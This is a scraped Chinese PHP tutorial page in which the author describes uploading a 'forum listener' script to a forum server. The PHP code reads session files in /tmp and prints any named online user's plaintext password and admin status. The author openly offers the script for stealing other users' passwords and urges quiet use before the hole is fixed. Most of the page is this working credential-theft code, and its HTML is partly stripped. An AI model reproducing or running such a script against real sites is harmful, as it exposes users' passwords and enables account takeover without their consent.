php查看session內容的函數_PHP教程

來源:互聯網
上載者:User
如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道該session存放的位置,而且可以上傳檔案,所以嘛,當時就做了一次小小的駭客,線上的朋友的密碼可以一覽無餘,呵呵:
function submit1(){
global $username;
print "論壇監聽器";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧?連我你也查?";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "使用者筆名:".$name[2]."
使用密碼:".$passwd[2]."
使用模式:";
if($mode[1]==1)
print "管理員";
else
print "一般使用者";
print"

偷竊他人密碼是不道德行為請少少為之
";
$i=1;
break;
}}}}
if(!$i)
print "使用者:".$username."真的線上嗎?如你確定,請再來一次,不要多打空格!";
$d->close();
}

function login(){
?>


論壇監聽器




論壇監聽器













當你看到一使用者線上時你想看他的密碼,你要如何作呢?
讓我來告訴你:就是使用本程式。
鄭重申明:本程式為自由程式,由它所造成的任何損失本人蓋不負責。

不過這個問題也許很快就會被堵上,個位還是不要張揚的偷著用吧。






}
//--------------main()
if($submit1)
submit1();
else
login();
?>

http://www.bkjia.com/PHPjc/319459.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/319459.htmlTechArticle如:name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1",也知道該session存放的位置,而且可以上傳檔案,所以嘛,當時就做了一次小小的駭客,線上的朋...

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.